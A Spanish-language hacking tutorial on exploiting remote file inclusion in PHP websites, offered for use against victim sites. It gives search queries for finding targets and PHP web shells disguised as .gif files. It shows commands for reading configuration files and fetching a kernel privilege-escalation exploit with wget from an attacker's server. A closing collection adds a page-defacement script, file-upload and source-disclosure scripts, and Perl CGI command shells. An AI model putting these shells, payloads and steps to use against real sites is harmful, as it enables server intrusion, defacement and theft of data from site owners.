En este tuto voy a explicar en que consiste este fallo.
Esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas que tengan algo asi como:
www.pagina.com/index.php?file=inicio.php
Por ejemplo para buscar en el google este tipo de fallos tendriamos que poner algo asi.
allinurl: index.php?*=*
Pero de esta manera creo que google ya esta filtrando este tipo de busquedas entonces tendriamos que probar con otra cosa como por ejemplo:
allinurl: index.php?page=historia.php
o
allinurl: index.php?pagina=inicio.php
y probar con lo que se les ocurra .
Ahora veamos si la pagina que elejimos es vulnerable. Le podemos meter el google por ejemploo ya que sirve para todo jeje, entonces hacemos esto.
http://www.mawebvictima.com/index.php?variable=http://www.google.com
si vemos como la pagina del google se carga dentro de la pagina eso quiere decir que estamos frente a una posible web vulnerable a rfi. Tengamos en cuenta que hay que hacer referencia al protocolo http a la hora de incluir sino no sirve (page=http://www.google.com)
Ya dijimos que esta vulnerabilidad permite incluir archivos remotos desde otros servidores en paginas y casi todas las vulnerabilidades se dan por este codigo:
Código:
<? include"$page"; ?>
y se explotaria de esta manera.
Abres el explorador y pones esto.
http.//www.laweb.com/vuln.php?page=http//www.webatacante.com/exploit.gif
Pero lo mejor seria incluir un codigo que nos permita ejecutar comandos en el servidor.
Ahora veremos unos codigos para esto.
exec();
<? exec($_GET[cmd],$salida); foreach($salida as $line) { echo "$line<br>"; } ?>
system();
<? system($_GET[cmd],$salida); foreach($salida as $line) { echo "$line<br>"; } ?>
passthru();
<? passthru($_GET[cmd],$salida); foreach($salida as $line) { echo "$line<br>"; } ?>
Bueno ya tenemos los codigos ahora los guardamos con extencion .gif o .jpg y los subimos a nuestro servidor.
Pero ojo si le ponemos extencion .php se ejecuta nuestro pripio server y no nos serviria porque nosotros necesitamos ejecutarlo en otro server y no en el nuestro por supuesto.
Bueno ya tenemos los codigos en nuestro server guardados como por ejemplo exp1.gif, exp2.gif y asi con los 3 codigos ya que alguna de esta variable (exec();,system();, passthru() puede estar bloqueada en el server y tendremos que probar con las 3.
O.k Ahora para ejecutar el codigo en el server demos hacerlo de esta manera.
www.lawebvictima.com/vuln.php?page=http://www.atacante.com/exp1.gif?cmd=[comando]
Hay que tener en cuenta que page es un caso cualquiera y que puede variar segun la web.
Tenemos el exploit ejecutado ahora que podemos hacer ?
Lo que podemos hacer es por medio del comando cat ver archivos de configuracion para sacar informacion, ls para listar directorios, cd para moverse, y otras cosas con mas comandos.
Por ejemplo:
www.lawebvictima.com/vuln.php?page=http://www.atacante.com/exp1.gif?cmd=cat config.php
Pero cuando ejecuto esto no me da nada.
Que pasa?
Y bueno si ejecutaste los 3 codigos y el server no te deja ver los archivos es porqeu no tenes permisos y por eso no podes ejecutar archivos.
Para esto tendriamos que utilizar un exploit que nos de permisos, que no son de root pero podremos ejecutar archivos tranquilamente, como puede ser el w00t.
w00t:Este exploit aprovecha un bug en el kernel 2.4 y paso a explicar brevemente como ejecutarlo.
1. Iremos a la carpeta /tmp del server victima hay podemos ejecutar exploits desde nobody (cd /tmp).
2. Subiremos el w00t al server por medio de wget, para esto subi el archivo w00t a tu server y ejecuta lo siguiente, dentro la carpeta tmp
Código:
"wget http://paginatacante/w00t"
Esto agarrara el archivo w00t de tu server y lo pasara a la carpeta del orto server en la que estes ,que era (/tmp).
3. ahora le daremos permisos chmod 777 al w00t para poder ejecutarlo.
Seria de esta manera
Código:
chmod -c 777 w00t.
Ahora para para ver si hicimos todo bien debemos escribir "id" y tendremos nuestro id, si nos da otro id que no sea el nobody es porque funciono ojo que no seremos root sino que tendremos vastantes permisos como para movernos y sacar buena info. Si nuestro id nos da nobody tendremos que hacer todo de nuevo y bien.
Luego de esto podriamos ejecutar algun backdoor para poder entrar con una shell sin tener que hacer todo esto de nuevo la proxima vez. Uno de estos backdoor se llama r0nin.
Esto sera explicado en el proximo capitulo de este tutorial.
Nota:Aqui les dejo una recopilacion de exploits de la internet para hacer distintas cosas mediante rfi.
1) Cambiar el index en 2 segundos
Código:
<? $fp=fopen("index.php","w+"); fwrite($fp,"<title>HackedBy Phantom Lord</title> <body bgcolor="#000000" text="#FF9900"> <center> <font face="Fixedsys"> <font size="6">Hacked By Phantom Lord</font><br> <font size="2">Own yOur Web!</font> </center> \n"); fclose($fp); ?>
2) Otro sencillo ejemplo. Guardar com .gif, .jpg, o .txt y hacer el remote file inclusion con la variable vulnerable y la url de este archivo.
Código:
<? // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt ) if (isset($chdir)) @chdir($chdir); ob_start(); passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?>
Código:
<?php /* Muestra el código de la página pasada por la variable cmd. Funciona en servidores con safe_mode off como todos los demás scripts */ $cmd=$_GET['cmd']; show_source($cmd); ?>
Código:
<? /* Este archivo muestra el código fuente del archivo que se pasa por el método GET, mediante la variable file. */ $file=$_GET[file]; show_source($file); ?>
Código:
<?php /* En el form hay que cambiar la variable file por la que use la web para introducir los archivos */ if (isset($enviar)) { $directorio=opendir("."); while ($archivo=readdir($directorio)) { echo $archivo . "<br>"; } $nombre="phantom.html"; copy($sarasa, $HTTP_POST_FILES['sarasa']['name']); if (file_exists($HTTP_POST_FILES['sarasa']['name'])) print $HTTP_POST_FILES['sarasa']['name']; else print "No pudo subirse el archivo."; } else { ?> <form method=post action=index.php?variable=http://tuserver.com/exploit.gif enctype="multipart/form-data"> <input type=file name=sarasa> <input type=submit name=enviar value="Enviar Archivo"> </form> <? } ?>
Algunos en perl de Hackzatan.
Funcionan de la misma manera
http://host/cgi-bin/nst.cgi?p=uname -a
Donde:
nst.cgi >> Es el nombre del archivo
p es el comando que esta en el nst.cgi que nos da shell
1 Código:
#! /usr/bin/perl use CGI qw(:standard); print header; my $c=param("c"); if ($c gt "") { $s=`$c 2>&1`; print start_form,textfield("c",$c),submit("go"),end_form,pre($s) } else { print "[N]eo [S]ecurity [T]eam [NST" }
2 Código:
#! /usr/bin/perl use CGI qw(:standard); print header; my $c=param("c"); if ($c gt "") { $s=`$c 2>&1`; print start_form,textfield("c",$c),submit("go"),end_form,pre($s) } else{ print "[N]eo [S]ecurity [T]eam [NST]" }
3 Código:
#!/usr/bin/perl use CGI qw(:standard); print header; my $k=param("p"); my $a=param("a"); if ($a || $k) { $l=`$k 2>&1`; print start_form,textarea("p",$k,3,50); print submit("Enter"); print end_form; print pre($l); } print $ENV{"SERVER_NAME"};
Eso es todo a practicar.
Phantom Lord.